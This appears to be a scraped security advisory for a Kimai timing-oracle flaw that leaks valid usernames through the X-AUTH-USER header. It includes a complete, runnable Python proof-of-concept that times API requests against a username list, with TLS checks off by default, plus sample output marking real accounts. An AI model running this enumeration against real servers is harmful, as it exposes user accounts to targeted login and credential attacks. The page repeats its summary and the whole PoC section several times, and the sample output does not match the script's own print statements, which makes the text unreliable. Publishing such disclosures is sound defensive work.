CVE-2026-80199

Kimai before 2.54.0 contains a timing oracle vulnerability in TokenAuthenticator that allows unauthenticated attackers to enumerate valid usernames via X-AUTH-USER header. Attackers can measure response time differences when the password hasher runs only for existing users, enabling username enumeration with no login throttling protection.

Kimai before 2.54.0 contains a timing oracle vulnerability in TokenAuthenticator that allows unauthenticated attackers to enumerate valid usernames via X-AUTH-USER header. Attackers can measure response time differences when the password hasher runs only for existing users, enabling username enumeration with no login throttling protection.

Details

src/API/Authentication/TokenAuthenticator.php calls loadUserByIdentifier() first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases ({"message":"Invalid credentials"}, HTTP 403), so the leak is purely timing.

The /api/* firewall has no login_throttling configured, so the probe is unbounded.

The legacy X-AUTH-USER / X-AUTH-TOKEN headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.

Proof of concept

#!/usr/bin/env python3
"""Kimai username enumeration via X-AUTH-USER timing oracle."""

import argparse
import ssl
import statistics
import sys
import time
import urllib.error
import urllib.request

PROBE_PATH = "/api/users/me"
BASELINE_USER = "baseline_no_such_user_zzz"
DUMMY_TOKEN = "x" * 32


def probe(url, user, ctx):
    req = urllib.request.Request(
        url + PROBE_PATH,
        headers={"X-AUTH-USER": user, "X-AUTH-TOKEN": DUMMY_TOKEN},
    )
    t0 = time.perf_counter()
    try:
        urllib.request.urlopen(req, context=ctx, timeout=10).read()
    except urllib.error.HTTPError as e:
        e.read()
    return (time.perf_counter() - t0) * 1000.0


def median_ms(url, user, samples, ctx):
    return statistics.median(probe(url, user, ctx) for _ in range(samples))


def load_candidates(path):
    with open(path) as f:
        return [ln.strip() for ln in f if ln.strip() and not ln.startswith("#")]


def main():
    ap = argparse.ArgumentParser(description=__doc__.strip())
    ap.add_argument("-u", "--url", required=True,
                    help="base URL, e.g. https://kimai.example")
    ap.add_argument("-l", "--list", required=True, metavar="FILE",
                    help="one candidate username per line")
    ap.add_argument("-t", "--threshold", type=float, default=15.0, metavar="MS",
                    help="median delta over baseline that flags a real user")
    ap.add_argument("-n", "--samples", type=int, default=15)
    ap.add_argument("--verify-tls", action="store_true")
    args = ap.parse_args()

    url = args.url.rstrip("/")
    ctx = None if args.verify_tls else ssl._create_unverified_context()
    candidates = load_candidates(args.list)

    baseline = median_ms(url, BASELINE_USER, args.samples, ctx)
    print(f"baseline: {baseline:.1f} ms", file=sys.stderr)

    width = max(len(u) for u in candidates)
    print(f"{'username':<{width}}  {'median':>8}  {'delta':>8}  verdict")
    print("-" * (width + 30))
    for user in candidates:
        m = median_ms(url, user, args.samples, ctx)
        delta = m - baseline
        verdict = "REAL" if delta > args.threshold else "-"
        print(f"{user:<{width}}  {m:>6.1f}ms  {delta:>+6.1f}ms  {verdict}")


if __name__ == "__main__":
    main()

Usage:

$ ./timing_oracle.py -u https://target -l users.txt -n 15
[*] calibrating baseline with 15 samples
[*] baseline median: 37.7 ms
[*] probing 13 candidates (n=15, threshold=15.0 ms)

username                        median     delta  verdict
----------------------------------------------------------
[email protected]               64.2ms   +26.5ms  REAL
[email protected]               72.4ms   +34.7ms  REAL
[email protected]               70.0ms   +32.3ms  REAL
[email protected]  37.2ms    -0.5ms  -
admin                           63.6ms   +25.9ms  REAL
administrator                   38.2ms    +0.4ms  -
root                            37.3ms    -0.4ms  -
test                            33.6ms    -4.1ms  -
demo                            38.2ms    +0.5ms  -
kimai                           37.0ms    -0.7ms  -
nonexistent_user_aaa            38.1ms    +0.4ms  -
nonexistent_user_bbb            37.5ms    -0.2ms  -
nonexistent_user_ccc            38.4ms    +0.7ms  -

In this run, four real accounts were identified out of thirteen…

Kimai before 2.54.0 contains a timing oracle vulnerability in TokenAuthenticator that allows unauthenticated attackers to enumerate valid usernames via X-AUTH-USER header. Attackers can measure response time differences when the password hasher runs only for existing users, enabling username enumeration with no login throttling protection.

Kimai before 2.54.0 contains a timing oracle vulnerability in TokenAuthenticator that allows unauthenticated attackers to enumerate valid usernames via X-AUTH-USER header. Attackers can measure response time differences when the password hasher runs only for existing users, enabling username enumeration with no login throttling protection.

Kimai before 2.54.0 contains a timing oracle vulnerability in TokenAuthenticator that allows unauthenticated attackers to enumerate valid usernames via X-AUTH-USER header. Attackers can measure response time differences when the password hasher runs only for existing users, enabling username enumeration with no login throttling protection.

Details

src/API/Authentication/TokenAuthenticator.php calls loadUserByIdentifier() first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases ({"message":"Invalid credentials"}, HTTP 403), so the leak is purely timing.

The /api/* firewall has no login_throttling configured, so the probe is unbounded.

The legacy X-AUTH-USER / X-AUTH-TOKEN headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.

Proof of concept

#!/usr/bin/env python3
"""Kimai username enumeration via X-AUTH-USER timing oracle."""

import argparse
import ssl
import statistics
import sys
import time
import urllib.error
import urllib.request

PROBE_PATH = "/api/users/me"
BASELINE_USER = "baseline_no_such_user_zzz"
DUMMY_TOKEN = "x" * 32


def probe(url, user, ctx):
    req = urllib.request.Request(
        url + PROBE_PATH,
        headers={"X-AUTH-USER": user, "X-AUTH-TOKEN": DUMMY_TOKEN},
    )
    t0 = time.perf_counter()
    try:
        urllib.request.urlopen(req, context=ctx, timeout=10).read()
    except urllib.error.HTTPError as e:
        e.read()
    return (time.perf_counter() - t0) * 1000.0


def median_ms(url, user, samples, ctx):
    return statistics.median(probe(url, user, ctx) for _ in range(samples))


def load_candidates(path):
    with open(path) as f:
        return [ln.strip() for ln in f if ln.strip() and not ln.startswith("#")]


def main():
    ap = argparse.ArgumentParser(description=__doc__.strip())
    ap.add_argument("-u", "--url", required=True,
                    help="base URL, e.g. https://kimai.example")
    ap.add_argument("-l", "--list", required=True, metavar="FILE",
                    help="one candidate username per line")
    ap.add_argument("-t", "--threshold", type=float, default=15.0, metavar="MS",
                    help="median delta over baseline that flags a real user")
    ap.add_argument("-n", "--samples", type=int, default=15)
    ap.add_argument("--verify-tls", action="store_true")
    args = ap.parse_args()

    url = args.url.rstrip("/")
    ctx = None if args.verify_tls else ssl._create_unverified_context()
    candidates = load_candidates(args.list)

    baseline = median_ms(url, BASELINE_USER, args.samples, ctx)
    print(f"baseline: {baseline:.1f} ms", file=sys.stderr)

    width = max(len(u) for u in candidates)
    print(f"{'username':<{width}}  {'median':>8}  {'delta':>8}  verdict")
    print("-" * (width + 30))
    for user in candidates:
        m = median_ms(url, user, args.samples, ctx)
        delta = m - baseline
        verdict = "REAL" if delta > args.threshold else "-"
        print(f"{user:<{width}}  {m:>6.1f}ms  {delta:>+6.1f}ms  {verdict}")


if __name__ == "__main__":
    main()

Usage:

$ ./timing_oracle.py -u https://target -l users.txt -n 15
[*] calibrating baseline with 15 samples
[*] baseline median: 37.7 ms
[*] probing 13 candidates (n=15, threshold=15.0 ms)

username                        median     delta  verdict
----------------------------------------------------------
[email protected]               64.2ms   +26.5ms  REAL
[email protected]               72.4ms   +34.7ms  REAL
[email protected]               70.0ms   +32.3ms  REAL
[email protected]  37.2ms    -0.5ms  -
admin                           63.6ms   +25.9ms  REAL
administrator                   38.2ms    +0.4ms  -
root                            37.3ms    -0.4ms  -
test                            33.6ms    -4.1ms  -
demo                            38.2ms    +0.5ms  -
kimai                           37.0ms    -0.7ms  -
nonexistent_user_aaa            38.1ms    +0.4ms  -
nonexistent_user_bbb            37.5ms    -0.2ms  -
nonexistent_user_ccc            38.4ms    +0.7ms  -

In this run, four real accounts were identified out of thirteen…